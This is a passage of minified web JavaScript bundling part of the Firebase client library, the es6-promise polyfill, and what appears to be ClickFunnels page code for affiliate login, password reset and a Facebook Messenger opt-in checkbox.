this.oc)this.oc[e].rc()},W.prototype.ve=function(){this.Sf=!0},ca(W),W.prototype.interrupt=W.prototype.yb,W.prototype.resume=W.prototype.rc,X.prototype.cancel=function(e){x("Firebase.onDisconnect().cancel",0,1,arguments.length),A("Firebase.onDisconnect().cancel",1,e,!0),this.bd.Jd(this.ra,e||null)},X.prototype.cancel=X.prototype.cancel,X.prototype.remove=function(e){x("Firebase.onDisconnect().remove",0,1,arguments.length),jg("Firebase.onDisconnect().remove",this.ra),A("Firebase.onDisconnect().remove",1,e,!0),fi(this.bd,this.ra,null,e)},X.prototype.remove=X.prototype.remove,X.prototype.set=function(e,t){x("Firebase.onDisconnect().set",1,2,arguments.length),jg("Firebase.onDisconnect().set",this.ra),bg("Firebase.onDisconnect().set",e,this.ra,!1),A("Firebase.onDisconnect().set",2,t,!0),fi(this.bd,this.ra,e,t)},X.prototype.set=X.prototype.set,X.prototype.Kb=function(e,t,n){x("Firebase.onDisconnect().setWithPriority",2,3,arguments.length),jg("Firebase.onDisconnect().setWithPriority",this.ra),bg("Firebase.onDisconnect().setWithPriority",e,this.ra,!1),fg("Firebase.onDisconnect().setWithPriority",2,t),A("Firebase.onDisconnect().setWithPriority",3,n,!0),gi(this.bd,this.ra,e,t,n)},X.prototype.setWithPriority=X.prototype.Kb,X.prototype.update=function(e,t){if(x("Firebase.onDisconnect().update",1,2,arguments.length),jg("Firebase.onDisconnect().update",this.ra),ea(e)){for(var n={},i=0;i<e.length;++i)n[""+i]=e[i];e=n,O("Passing an Array to Firebase.onDisconnect().update() is deprecated. Use set() if you want to overwrite the existing data, or an Object with integer keys if you really do want to only update some of the children.")}eg("Firebase.onDisconnect().update",e,this.ra),A("Firebase.onDisconnect().update",2,t,!0),hi(this.bd,this.ra,e,t)},X.prototype.update=X.prototype.update,g=Y.prototype,g.Ib=function(){return x("Query.ref",0,0,arguments.length),new U(this.k,this.path)},g.Eb=function(e,t,n,i){x("Query.on",2,4,arguments.length),gg("Query.on",e,!1),A("Query.on",2,t,!1);var r=vi("Query.on",n,i);if("value"===e)ii(this.k,this,new id(t,r.cancel||null,r.Ma||null));else{var o={};o[e]=t,ii(this.k,this,new jd(o,r.cancel,r.Ma))}return t},g.ic=function(e,t,n){x("Query.off",0,3,arguments.length),gg("Query.off",e,!0),A("Query.off",2,t,!0),mb("Query.off",3,n);var i=null,r=null;"value"===e?i=new id(t||null,null,n||null):e&&(t&&((r={})[e]=t),i=new jd(r,null,n||null)),r=this.k,i=".info"===E(this.path)?r.Cd.jb(this,i):r.L.jb(this,i),yb(r.da,this.path,i)},g.Dg=function(e,t){function n(a){o&&(o=!1,r.ic(e,n),t.call(i.Ma,a))}x("Query.once",2,4,arguments.length),gg("Query.once",e,!1),A("Query.once",2,t,!1);var i=vi("Query.once",arguments[2],arguments[3]),r=this,o=!0;this.Eb(e,n,function(t){r.ic(e,n),i.cancel&&i.cancel.call(i.Ma,t)})},g.He=function(e){if(O("Query.limit() being deprecated. Please use Query.limitToFirst() or Query.limitToLast() instead."),x("Query.limit",1,1,arguments.length),!ga(e)||Math.floor(e)!==e||0>=e)throw Error("Query.limit: First argument must be a positive integer.");if(this.n.ja)throw Error("Query.limit: Limit was already set (by another call to limit, limitToFirst, orlimitToLast.");var t=this.n.He(e);return ti(t),new Y(this.k,this.path,t,this.lc)},g.Ie=function(e){if(x("Query.limitToFirst",1,1,arguments.length),!ga(e)||Math.floor(e)!==e||0>=e)throw Error("Query.limitToFirst: First argument must be a positive integer.");if(this.n.ja)throw Error("Query.limitToFirst: Limit was already set (by another call to limit, limitToFirst, or limitToLast).");return new Y(this.k,this.path,this.n.Ie(e),this.lc)},g.Je=function(e){if(x("Query.limitToLast",1,1,arguments.length),!ga(e)||Math.floor(e)!==e||0>=e)throw Error("Query.limitToLast: First argument must be a positive integer.");if(this.n.ja)throw Error("Query.limitToLast: Limit was already set (by another call to limit, limitToFirst, or limitToLast).");return new Y(this.k,this.path,this.n.Je(e),this.lc)},g.Eg=function(e){if(x("Query.orderByChild",1,1,arguments.length),"$key"===e)throw Error('Query.orderByChild: "$key" is invalid. Use Query.orderByKey() instead.');if("$priority"===e)throw Error('Query.orderByChild: "$priority" is invalid. Use Query.orderByPriority() instead.');if("$value"===e)throw Error('Query.orderByChild: "$value" is invalid. Use Query.orderByValue() instead.');ig("Query.orderByChild",e),ui(this,"Query.orderByChild");var t=new L(e);if(t.e())throw Error("Query.orderByChild: cannot pass in empty path. Use Query.orderByValue() instead.");return t=new Ud(t),si(t=de(this.n,t)),new Y(this.k,this.path,t,!0)},g.Fg=function(){x("Query.orderByKey",0,0,arguments.length),ui(this,"Query.orderByKey");var e=de(this.n,Qd);return si(e),new Y(this.k,this.path,e,!0)},g.Gg=function(){x("Query.orderByPriority",0,0,arguments.length),ui(this,"Query.orderByPriority");var e=de(this.n,N);return si(e),new Y(this.k,this.path,e,!0)},g.Hg=function(){x("Query.orderByValue",0,0,arguments.length),ui(this,"Query.orderByValue");var e=de(this.n,$d);return si(e),new Y(this.k,this.path,e,!0)},g.$d=function(e,t){x("Query.startAt",0,2,arguments.length),bg("Query.startAt",e,this.path,!0),hg("Query.startAt",t);var i=this.n.$d(e,t);if(ti(i),si(i),this.n.ma)throw Error("Query.startAt: Starting point was already set (by another call to startAt or equalTo).");return n(e)||(t=e=null),new Y(this.k,this.path,i,this.lc)},g.td=function(e,t){x("Query.endAt",0,2,arguments.length),bg("Query.endAt",e,this.path,!0),hg("Query.endAt",t);var n=this.n.td(e,t);if(ti(n),si(n),this.n.pa)throw Error("Query.endAt: Ending point was already set (by another call to endAt or equalTo).");return new Y(this.k,this.path,n,this.lc)},g.kg=function(e,t){if(x("Query.equalTo",1,2,arguments.length),bg("Query.equalTo",e,this.path,!1),hg("Query.equalTo",t),this.n.ma)throw Error("Query.equalTo: Starting point was already set (by another call to endAt or equalTo).");if(this.n.pa)throw Error("Query.equalTo: Ending point was already set (by another call to endAt or equalTo).");return this.$d(e,t).td(e,t)},g.toString=function(){x("Query.toString",0,0,arguments.length);for(var e=this.path,t="",n=e.Z;n<e.o.length;n++)""!==e.o[n]&&(t+="/"+encodeURIComponent(String(e.o[n])));return this.k.toString()+(t||"/")},g.va=function(){var e=Uc(ee(this.n));return"{}"===e?"default":e},Y.prototype.ref=Y.prototype.Ib,Y.prototype.on=Y.prototype.Eb,Y.prototype.off=Y.prototype.ic,Y.prototype.once=Y.prototype.Dg,Y.prototype.limit=Y.prototype.He,Y.prototype.limitToFirst=Y.prototype.Ie,Y.prototype.limitToLast=Y.prototype.Je,Y.prototype.orderByChild=Y.prototype.Eg,Y.prototype.orderByKey=Y.prototype.Fg,Y.prototype.orderByPriority=Y.prototype.Gg,Y.prototype.orderByValue=Y.prototype.Hg,Y.prototype.startAt=Y.prototype.$d,Y.prototype.endAt=Y.prototype.td,Y.prototype.equalTo=Y.prototype.kg,Y.prototype.toString=Y.prototype.toString;var Z={};Z.vc=Kh,Z.DataConnection=Z.vc,Kh.prototype.Rg=function(e,t){this.Fa("q",{p:e},t)},Z.vc.prototype.simpleListen=Z.vc.prototype.Rg,Kh.prototype.jg=function(e,t){this.Fa("echo",{d:e},t)},Z.vc.prototype.echo=Z.vc.prototype.jg,Kh.prototype.interrupt=Kh.prototype.yb,Z.Vf=yh,Z.RealTimeConnection=Z.Vf,yh.prototype.sendRequest=yh.prototype.Fa,yh.prototype.close=yh.prototype.close,Z.rg=function(e){var t=Kh.prototype.put;return Kh.prototype.put=function(i,r,o,a){n(a)&&(a=e()),t.call(this,i,r,o,a)},function(){Kh.prototype.put=t}},Z.hijackHash=Z.rg,Z.Uf=zc,Z.ConnectionTarget=Z.Uf,Z.va=function(e){return e.va()},Z.queryIdentifier=Z.va,Z.tg=function(e){return e.k.Ra.$},Z.listens=Z.tg,Z.ve=function(e){e.ve()},Z.forceRestClient=Z.ve,ma(U,Y);var wi=U,xi=["Firebase"],yi=aa,zi;xi[0]in yi||!yi.execScript||yi.execScript("var "+xi[0]);for(;xi.length&&(zi=xi.shift());)!xi.length&&n(wi)?yi[zi]=wi:yi=yi[zi]?yi[zi]:yi[zi]={};U.goOffline=function(){x("Firebase.goOffline",0,0,arguments.length),W.ub().yb()},U.goOnline=function(){x("Firebase.goOnline",0,0,arguments.length),W.ub().rc()},U.enableLogging=Lc,U.ServerValue={TIMESTAMP:{".sv":"timestamp"}},U.SDK_VERSION=hb,U.INTERNAL=V,U.Context=W,U.TEST_ACCESS=Z,U.prototype.name=function(){return O("Firebase.name() being deprecated. Please use Firebase.key() instead."),x("Firebase.name",0,0,arguments.length),this.key()},U.prototype.name=U.prototype.name,U.prototype.key=function(){return x("Firebase.key",0,0,arguments.length),this.path.e()?null:Ld(this.path)},U.prototype.key=U.prototype.key,U.prototype.u=function(e){if(x("Firebase.child",1,1,arguments.length),ga(e))e=String(e);else if(!(e instanceof L))if(null===E(this.path)){var t=e;t&&(t=t.replace(/^\/*\.info(\/|$)/,"/")),ig("Firebase.child",t)}else ig("Firebase.child",e);return new U(this.k,this.path.u(e))},U.prototype.child=U.prototype.u,U.prototype.parent=function(){x("Firebase.parent",0,0,arguments.length);var e=this.path.parent();return null===e?null:new U(this.k,e)},U.prototype.parent=U.prototype.parent,U.prototype.root=function(){x("Firebase.ref",0,0,arguments.length);for(var e=this;null!==e.parent();)e=e.parent();return e},U.prototype.root=U.prototype.root,U.prototype.set=function(e,t){x("Firebase.set",1,2,arguments.length),jg("Firebase.set",this.path),bg("Firebase.set",e,this.path,!1),A("Firebase.set",2,t,!0),this.k.Kb(this.path,e,null,t||null)},U.prototype.set=U.prototype.set,U.prototype.update=function(e,t){if(x("Firebase.update",1,2,arguments.length),jg("Firebase.update",this.path),ea(e)){for(var n={},i=0;i<e.length;++i)n[""+i]=e[i];e=n,O("Passing an Array to Firebase.update() is deprecated. Use set() if you want to overwrite the existing data, or an Object with integer keys if you really do want to only update some of the children.")}eg("Firebase.update",e,this.path),A("Firebase.update",2,t,!0),this.k.update(this.path,e,t||null)},U.prototype.update=U.prototype.update,U.prototype.Kb=function(e,t,n){if(x("Firebase.setWithPriority",2,3,arguments.length),jg("Firebase.setWithPriority",this.path),bg("Firebase.setWithPriority",e,this.path,!1),fg("Firebase.setWithPriority",2,t),A("Firebase.setWithPriority",3,n,!0),".length"===this.key()||".keys"===this.key())throw"Firebase.setWithPriority failed: "+this.key()+" is a read-only object.";this.k.Kb(this.path,e,t,n||null)},U.prototype.setWithPriority=U.prototype.Kb,U.prototype.remove=function(e){x("Firebase.remove",0,1,arguments.length),jg("Firebase.remove",this.path),A("Firebase.remove",1,e,!0),this.set(null,e)},U.prototype.remove=U.prototype.remove,U.prototype.transaction=function(e,t,i){if(x("Firebase.transaction",1,3,arguments.length),jg("Firebase.transaction",this.path),A("Firebase.transaction",1,e,!1),A("Firebase.transaction",2,t,!0),n(i)&&"boolean"!=typeof i)throw Error(y("Firebase.transaction",3,!0)+"must be a boolean.");if(".length"===this.key()||".keys"===this.key())throw"Firebase.transaction failed: "+this.key()+" is a read-only object.";void 0===i&&(i=!0),ji(this.k,this.path,e,t||null,i)},U.prototype.transaction=U.prototype.transaction,U.prototype.Og=function(e,t){x("Firebase.setPriority",1,2,arguments.length),jg("Firebase.setPriority",this.path),fg("Firebase.setPriority",1,e),A("Firebase.setPriority",2,t,!0),this.k.Kb(this.path.u(".priority"),e,null,t)},U.prototype.setPriority=U.prototype.Og,U.prototype.push=function(e,t){x("Firebase.push",0,2,arguments.length),jg("Firebase.push",this.path),bg("Firebase.push",e,this.path,!0),A("Firebase.push",2,t,!0);var n=$h(this.k);n=Fe(n),n=this.u(n);return null!=e&&n.set(e,t),n},U.prototype.push=U.prototype.push,U.prototype.hb=function(){return jg("Firebase.onDisconnect",this.path),new X(this.k,this.path)},U.prototype.onDisconnect=U.prototype.hb,U.prototype.M=function(e,t,n){O("FirebaseRef.auth() being deprecated. Please use FirebaseRef.authWithCustomToken() instead."),x("Firebase.auth",1,3,arguments.length),kg("Firebase.auth",e),A("Firebase.auth",2,t,!0),A("Firebase.auth",3,t,!0),Yg(this.k.M,e,{},{remember:"none"},t,n)},U.prototype.auth=U.prototype.M,U.prototype.ge=function(e){x("Firebase.unauth",0,1,arguments.length),A("Firebase.unauth",1,e,!0),Zg(this.k.M,e)},U.prototype.unauth=U.prototype.ge,U.prototype.xe=function(){return x("Firebase.getAuth",0,0,arguments.length),this.k.M.xe()},U.prototype.getAuth=U.prototype.xe,U.prototype.xg=function(e,t){x("Firebase.onAuth",1,2,arguments.length),A("Firebase.onAuth",1,e,!1),mb("Firebase.onAuth",2,t),this.k.M.Eb("auth_status",e,t)},U.prototype.onAuth=U.prototype.xg,U.prototype.wg=function(e,t){x("Firebase.offAuth",1,2,arguments.length),A("Firebase.offAuth",1,e,!1),mb("Firebase.offAuth",2,t),this.k.M.ic("auth_status",e,t)},U.prototype.offAuth=U.prototype.wg,U.prototype.Zf=function(e,t,n){x("Firebase.authWithCustomToken",2,3,arguments.length),kg("Firebase.authWithCustomToken",e),A("Firebase.authWithCustomToken",2,t,!1),ng("Firebase.authWithCustomToken",3,n,!0),Yg(this.k.M,e,{},n||{},t)},U.prototype.authWithCustomToken=U.prototype.Zf,U.prototype.$f=function(e,t,n){x("Firebase.authWithOAuthPopup",2,3,arguments.length),mg("Firebase.authWithOAuthPopup",e),A("Firebase.authWithOAuthPopup",2,t,!1),ng("Firebase.authWithOAuthPopup",3,n,!0),ch(this.k.M,e,n,t)},U.prototype.authWithOAuthPopup=U.prototype.$f,U.prototype.ag=function(e,t,n){x("Firebase.authWithOAuthRedirect",2,3,arguments.length),mg("Firebase.authWithOAuthRedirect",e), A("Firebase.authWithOAuthRedirect",2,t,!1),ng("Firebase.authWithOAuthRedirect",3,n,!0);var i=this.k.M;ah(i);var r=[Kg],o=vg(n);"anonymous"===e||"firebase"===e?P(t,Mg("TRANSPORT_UNAVAILABLE")):(yc.set("redirect_client_options",o.od),bh(i,r,"/auth/"+e,o,t))},U.prototype.authWithOAuthRedirect=U.prototype.ag,U.prototype.bg=function(e,t,n,i){x("Firebase.authWithOAuthToken",3,4,arguments.length),mg("Firebase.authWithOAuthToken",e),A("Firebase.authWithOAuthToken",3,n,!1),ng("Firebase.authWithOAuthToken",4,i,!0),p(t)?(lg("Firebase.authWithOAuthToken",2,t),$g(this.k.M,e+"/token",{access_token:t},i,n)):(ng("Firebase.authWithOAuthToken",2,t,!1),$g(this.k.M,e+"/token",t,i,n))},U.prototype.authWithOAuthToken=U.prototype.bg,U.prototype.Yf=function(e,t){x("Firebase.authAnonymously",1,2,arguments.length),A("Firebase.authAnonymously",1,e,!1),ng("Firebase.authAnonymously",2,t,!0),$g(this.k.M,"anonymous",{},t,e)},U.prototype.authAnonymously=U.prototype.Yf,U.prototype.cg=function(e,t,n){x("Firebase.authWithPassword",2,3,arguments.length),ng("Firebase.authWithPassword",1,e,!1),og("Firebase.authWithPassword",e,"email"),og("Firebase.authWithPassword",e,"password"),A("Firebase.authWithPassword",2,t,!1),ng("Firebase.authWithPassword",3,n,!0),$g(this.k.M,"password",e,n,t)},U.prototype.authWithPassword=U.prototype.cg,U.prototype.se=function(e,t){x("Firebase.createUser",2,2,arguments.length),ng("Firebase.createUser",1,e,!1),og("Firebase.createUser",e,"email"),og("Firebase.createUser",e,"password"),A("Firebase.createUser",2,t,!1),this.k.M.se(e,t)},U.prototype.createUser=U.prototype.se,U.prototype.Te=function(e,t){x("Firebase.removeUser",2,2,arguments.length),ng("Firebase.removeUser",1,e,!1),og("Firebase.removeUser",e,"email"),og("Firebase.removeUser",e,"password"),A("Firebase.removeUser",2,t,!1),this.k.M.Te(e,t)},U.prototype.removeUser=U.prototype.Te,U.prototype.pe=function(e,t){x("Firebase.changePassword",2,2,arguments.length),ng("Firebase.changePassword",1,e,!1),og("Firebase.changePassword",e,"email"),og("Firebase.changePassword",e,"oldPassword"),og("Firebase.changePassword",e,"newPassword"),A("Firebase.changePassword",2,t,!1),this.k.M.pe(e,t)},U.prototype.changePassword=U.prototype.pe,U.prototype.oe=function(e,t){x("Firebase.changeEmail",2,2,arguments.length),ng("Firebase.changeEmail",1,e,!1),og("Firebase.changeEmail",e,"oldEmail"),og("Firebase.changeEmail",e,"newEmail"),og("Firebase.changeEmail",e,"password"),A("Firebase.changeEmail",2,t,!1),this.k.M.oe(e,t)},U.prototype.changeEmail=U.prototype.oe,U.prototype.Ve=function(e,t){x("Firebase.resetPassword",2,2,arguments.length),ng("Firebase.resetPassword",1,e,!1),og("Firebase.resetPassword",e,"email"),A("Firebase.resetPassword",2,t,!1),this.k.M.Ve(e,t)},U.prototype.resetPassword=U.prototype.Ve}(), /*! * @overview es6-promise - a tiny implementation of Promises/A+. * @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald) * @license Licensed under MIT license * See https://raw.githubusercontent.com/stefanpenner/es6-promise/master/LICENSE * @version v4.2.2+97478eb6 */ function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.ES6Promise=t()}(this,function(){"use strict";function e(e){var t=typeof e;return null!==e&&("object"===t||"function"===t)}function t(e){return"function"==typeof e}function n(e){H=e}function i(e){W=e}function r(){return function(){return process.nextTick(c)}}function o(){return void 0!==B?function(){B(c)}:l()}function a(){var e=0,t=new Y(c),n=document.createTextNode("");return t.observe(n,{characterData:!0}),function(){n.data=e=++e%2}}function s(){var e=new MessageChannel;return e.port1.onmessage=c,function(){return e.port2.postMessage(0)}}function l(){var e=setTimeout;return function(){return e(c,1)}}function c(){for(var e=0;e<U;e+=2){(0,Q[e])(Q[e+1]),Q[e]=undefined,Q[e+1]=undefined}U=0}function u(){try{var e=require("vertx");return B=e.runOnLoop||e.runOnContext,o()}catch(t){return l()}}function d(e,t){var n=this,i=new this.constructor(p);i[Z]===undefined&&D(i);var r=n._state;if(r){var o=arguments[r-1];W(function(){return A(r,i,o,n._result)})}else C(n,i,e,t);return i}function f(e){var t=this;if(e&&"object"==typeof e&&e.constructor===t)return e;var n=new t(p);return T(n,e),n}function p(){}function h(){return new TypeError("You cannot resolve a promise with itself")}function m(){return new TypeError("A promises callback cannot return that same promise.")}function g(e){try{return e.then}catch(t){return ne.error=t,ne}}function y(e,t,n,i){try{e.call(t,n,i)}catch(r){return r}}function v(e,t,n){W(function(e){var i=!1,r=y(n,t,function(n){i||(i=!0,t!==n?T(e,n):S(e,n))},function(t){i||(i=!0,k(e,t))},"Settle: "+(e._label||" unknown promise"));!i&&r&&(i=!0,k(e,r))},e)}function b(e,t){t._state===ee?S(e,t._result):t._state===te?k(e,t._result):C(t,undefined,function(t){return T(e,t)},function(t){return k(e,t)})}function _(e,n,i){n.constructor===e.constructor&&i===d&&n.constructor.resolve===f?b(e,n):i===ne?(k(e,ne.error),ne.error=null):i===undefined?S(e,n):t(i)?v(e,n,i):S(e,n)}function T(t,n){t===n?k(t,h()):e(n)?_(t,n,g(n)):S(t,n)}function w(e){e._onerror&&e._onerror(e._result),x(e)}function S(e,t){e._state===X&&(e._result=t,e._state=ee,0!==e._subscribers.length&&W(x,e))}function k(e,t){e._state===X&&(e._state=te,e._result=t,W(w,e))}function C(e,t,n,i){var r=e._subscribers,o=r.length;e._onerror=null,r[o]=t,r[o+ee]=n,r[o+te]=i,0===o&&e._state&&W(x,e)}function x(e){var t=e._subscribers,n=e._state;if(0!==t.length){for(var i=void 0,r=void 0,o=e._result,a=0;a<t.length;a+=3)i=t[a],r=t[a+n],i?A(n,i,r,o):r(o);e._subscribers.length=0}}function E(){this.error=null}function $(e,t){try{return e(t)}catch(n){return ie.error=n,ie}}function A(e,n,i,r){var o=t(i),a=void 0,s=void 0,l=void 0,c=void 0;if(o){if((a=$(i,r))===ie?(c=!0,s=a.error,a.error=null):l=!0,n===a)return void k(n,m())}else a=r,l=!0;n._state!==X||(o&&l?T(n,a):c?k(n,s):e===ee?S(n,a):e===te&&k(n,a))}function M(e,t){try{t(function(t){T(e,t)},function(t){k(e,t)})}catch(n){k(e,n)}}function P(){return re++}function D(e){e[Z]=re++,e._state=undefined,e._result=undefined,e._subscribers=[]}function F(){return new Error("Array Methods must be provided an Array")}function F(){return new Error("Array Methods must be provided an Array")}function L(e){return new oe(this,e).promise}function I(e){var t=this;return V(e)?new t(function(n,i){for(var r=e.length,o=0;o<r;o++)t.resolve(e[o]).then(n,i)}):new t(function(e,t){return t(new TypeError("You must pass an array to race."))})}function N(e){var t=new this(p);return k(t,e),t}function O(){throw new TypeError("You must pass a resolver function as the first argument to the promise constructor")}function R(){throw new TypeError("Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.")}function j(){var e=void 0;if("undefined"!=typeof global)e=global;else if("undefined"!=typeof self)e=self;else try{e=Function("return this")()}catch(i){throw new Error("polyfill failed because global object is unavailable in this environment")}var t=e.Promise;if(t){var n=null;try{n=Object.prototype.toString.call(t.resolve())}catch(i){}if("[object Promise]"===n&&!t.cast)return}e.Promise=ae}var V=Array.isArray?Array.isArray:function(e){return"[object Array]"===Object.prototype.toString.call(e)},U=0,B=void 0,H=void 0,W=function(e,t){Q[U]=e,Q[U+1]=t,2===(U+=2)&&(H?H(c):J())},z="undefined"!=typeof window?window:undefined,q=z||{},Y=q.MutationObserver||q.WebKitMutationObserver,G="undefined"==typeof self&&"undefined"!=typeof process&&"[object process]"==={}.toString.call(process),K="undefined"!=typeof Uint8ClampedArray&&"undefined"!=typeof importScripts&&"undefined"!=typeof MessageChannel,Q=new Array(1e3),J=void 0;J=G?r():Y?a():K?s():z===undefined&&"function"==typeof require?u():l();var Z=Math.random().toString(36).substring(16),X=void 0,ee=1,te=2,ne=new E,ie=new E,re=0,oe=function(){function e(e,t){this._instanceConstructor=e,this.promise=new e(p),this.promise[Z]||D(this.promise),V(t)?(this.length=t.length,this._remaining=t.length,this._result=new Array(this.length),0===this.length?S(this.promise,this._result):(this.length=this.length||0,this._enumerate(t),0===this._remaining&&S(this.promise,this._result))):k(this.promise,F())}return e.prototype._enumerate=function(e){for(var t=0;this._state===X&&t<e.length;t++)this._eachEntry(e[t],t)},e.prototype._eachEntry=function(e,t){var n=this._instanceConstructor,i=n.resolve;if(i===f){var r=g(e);if(r===d&&e._state!==X)this._settledAt(e._state,t,e._result);else if("function"!=typeof r)this._remaining--,this._result[t]=e;else if(n===ae){var o=new n(p);_(o,e,r),this._willSettleAt(o,t)}else this._willSettleAt(new n(function(t){return t(e)}),t)}else this._willSettleAt(i(e),t)},e.prototype._settledAt=function(e,t,n){var i=this.promise;i._state===X&&(this._remaining--,e===te?k(i,n):this._result[t]=n),0===this._remaining&&S(i,this._result)},e.prototype._willSettleAt=function(e,t){var n=this;C(e,undefined,function(e){return n._settledAt(ee,t,e)},function(e){return n._settledAt(te,t,e)})},e}(),ae=function(){function e(t){this[Z]=P(),this._result=this._state=undefined,this._subscribers=[],p!==t&&("function"!=typeof t&&O(),this instanceof e?M(this,t):R())}return e.prototype["catch"]=function(e){return this.then(null,e)},e.prototype["finally"]=function(e){var t=this,n=t.constructor;return t.then(function(t){return n.resolve(e()).then(function(){return t})},function(t){return n.resolve(e()).then(function(){throw t})})},e}();return ae.prototype.then=d,ae.all=L,ae.race=I,ae.resolve=f,ae.reject=N,ae._setScheduler=n,ae._setAsap=i,ae._asap=W,ae.polyfill=j,ae.Promise=ae,ae.polyfill(),ae}),String.prototype.hashCode=function(){var e=0;if(0==this.length)return e;for(i=0;i<this.length;i++)char=this.charCodeAt(i),e=(e<<5)-e+char,e&=e;return e},$(document).ready(function(){function e(e){return function(t){r(t,e)}}function t(){$("#reset-form").hide(),$("#register-form").hide(),$("#login-form").hide();var e=$("#login-form").parent(),t=a("page_key"),n=a("user_id");$(' <h2>Change Your Password</h2> <form action="/affiliates/password" method="post" id="password-reset">\n <input type="hidden" name="_method" value="put"> <input type="hidden" name="affiliate[page_key]" value="'+t+'">\n <input type="hidden" name="affiliate[user_id]" value="'+n+'">\n <div class="form-group group-fix">\n <label class="memberAccessLabel memberLabelPassword">Password:</label>\n <div class="memberInput">\n <input type="password" class="form-control elInput elInputStyle1 parsley-validated" id="affiliate_password" name="affiliate[password]" placeholder="New Password..." required="">\n </div>\n </div>\n <div class="form-group group-fix">\n <label class="memberAccessLabel memberLabelPassword">Password Confirmation:</label>\n <div class="memberInput">\n <input type="password" class="form-control elInput elInputStyle1 parsley-validated" id="affiliate_password_confirmation" name="affiliate[password_confirmation]" placeholder="Your password Confirmation..." required="">\n </div>\n </div>\n <div class="form-group group-fix">\n <div class="memberInput">\n <button type="submit" class="memberaccessButton">\n <span class="memberLoginButton">Reset Password</span>\n </button>\n </div>\n </div>\n </form>\n').prependTo(e)}function n(e){return $(e.target).serialize()+"&affiliate[page_key]="+a("page_key")}function i(e){return $(e.target).serialize()}function r(e,t){return $("#affiliate-message-holder").remove(),e.preventDefault(),e.returnValue=!1,$.ajax({type:"post",dataType:"json",url:e.target.action,data:t(e),success:function(t,n,i){t&&t.message!==undefined?o(t.message,"alert-info",e.target):window.location.href=i.getResponseHeader("location")},error:function(t){200===t.status?window.location.href="/affiliate":o(JSON.parse(t.responseText).error,"alert-danger",e.target)}}),!1}function o(e,t,n){$("<p id='affiliate-message-holder' class='alert "+t+"'>"+e+"</p>").prependTo(n)}function a(e){var t,n,i=decodeURIComponent(window.location.search.substring(1)).split("&");for(n=0;n<i.length;n++)if((t=i[n].split("="))[0]===e)return t[1]===undefined||t[1]}$("body").on("submit","form[action='/affiliates/sign_in']",e(i)),$("body").on("submit","form[action='/affiliates/password']:not(form#password-reset)",e(n)),$("body").on("submit","form#password-reset",e(i)),a("reset_password")&&t()}),$(document).ready(function(){$('a[href*="facebook_optin"]').click(function(){var e=["first_name","last_name","name","address","city","state","country","zip","shipping_address","shipping_city","shipping_state","shipping_zip","shipping_country","phone"],t=$(this).attr("href"),n="";$.each(e,function(e,t){var i=$('.elInput[name="'+t+'"]'),r=i.val();r&&r.trim().length>0&&(n+="&"+i.attr("name")+"="+encodeURIComponent(r))}),n.trim().length>0&&(t+=n),CFFacebookMessengerCheckbox.beforeSubmitForm().then(function(){console.log("FB Messenger Checkbox submitted now")}),$(this).attr("href",t+"&affiliate_id="+readCookie("affiliate_id")+"&cf_affiliate_id="+readCookie("cf_affiliate_id")+"&aff_sub="+readCookie("aff_sub")+"&aff_sub2="+readCookie("aff_sub2"))})}),"undefined"==typeof CFFacebookMessengerCheckbox&&(window.CFFacebookMessengerCheckbox=function(){},window.CFFacebookMessengerCheckbox.endpoint="https://"+window.CFAppDomain+"/facebook_user_ref"),CFFacebookMessengerCheckbox.fetchUserRef=function(e,t){var n={page_key:e};$.get(CFFacebookMessengerCheckbox.endpoint,n,t)},CFFacebookMessengerCheckbox.updateUserRef=function(e,t){$.ajax({url:CFFacebookMessengerCheckbox.endpoint,type:"PUT",data:e,success:t})},CFFacebookMessengerCheckbox.updatePageId=function(){var e=$(this);$("#"+e.attr("section-id")).find(".facebook-messenger-checkbox-preview").removeClass("facebook-page-id-missing")},CFFacebookMessengerCheckbox.convertPreviews=function(e){$(".facebook-messenger-checkbox-preview").each(function(){CFFacebookMessengerCheckbox.convertSinglePreview(this,e)})},CFFacebookMessengerCheckbox.convertSinglePreview=function(e,t){var n=$(e),i=CFFacebookMessengerCheckbox.extractFromEl(n);if("undefined"!=typeof i.pageId&&null!==i.pageId){var r=$("<div></div>");r.attr("id","fb-checkbox-"+i.pageId),r.attr("page_id",i.pageId),r.attr("origin",i.origin),r.attr("clickfunnels_page_key",i.cfPageKey),r.attr("messenger_app_id",i.appId),r.attr("allow_login",!0),r.attr("size",i.size),r.attr("user_ref",i.userRef),r.attr("page_key",i.pageKey),r.attr("style",i.style),$("#cf_facebook_user_ref").attr("value",i.userRef),$("#cf_facebook_page_id").attr("value",i.pageId),n.after(r),t(r),n.remove()}else n.remove()},CFFacebookMessengerCheckbox.extractFromEl=function(e){var t=document.createElement("a");return t.href=window.location.href,{origin:t.protocol+"//"+t.hostname,pageId:e.attr("page_id")||e.attr("data-page_id"),cfPageKey:e.attr("clickfunnels_page_key"),appId:e.attr("messenger_app_id"),allowLogin:e.attr("allow_login")||"true",size:e.attr("size")||e.attr("data-size")||"large",userRef:e.attr("user_ref"),style:e.attr("style")}},CFFacebookMessengerCheckbox.fbLoaded=function(e){if(e.Event.subscribe("messenger_checkbox",function(e){"checkbox"==e.event&&(CFFacebookMessengerCheckbox.checkboxState=e.state)}),$("input#cf-cid").val()||0!==$("input.elInput[name=email]").length){var t=$(".facebook-messenger-checkbox-preview");if(0!==t.length){var n=t.attr("clickfunnels_page_key");null!=n&&""!==n&&CFFacebookMessengerCheckbox.fetchUserRef(n,function(n){t.attr("user_ref",n),CFFacebookMessengerCheckbox.convertPreviews(function(t){var n=$(t);n.addClass("fb-messenger-checkbox"),setTimeout(function(t){return function(){var n=t.attr("fb-xfbml-state"),i=null!=n&&""!==n;(!i||!(i&&"parsed"===n)&&!(i&&"rendered"===n))&&(t.attr("cf-manually-rendered",!0),e.XFBML.parse(t.parent()[0]))}}(n),2e3)})})}}},CFFacebookMessengerCheckbox.beforeSubmitForm=function(){var e=$(".fb-messenger-checkbox");if(0===e.length)return new Promise(function(e){e()});if("checked"!==CFFacebookMessengerCheckbox.checkboxState)return new Promise(function(e){e()});var t=$("input#cf-cid").val()||null;"null"!==t&&""!==t||(t=null);var n=$("input.elInput[name=email]").val(),i=CFFacebookMessengerCheckbox.extractFromEl(e),r=i.cfPageKey,o={user_ref:i.userRef,email:n,hashid:t,page_key:r,facebook_page_id:i.pageId};return null==r||""===r?new Promise(function(e){e()}):t||n?new 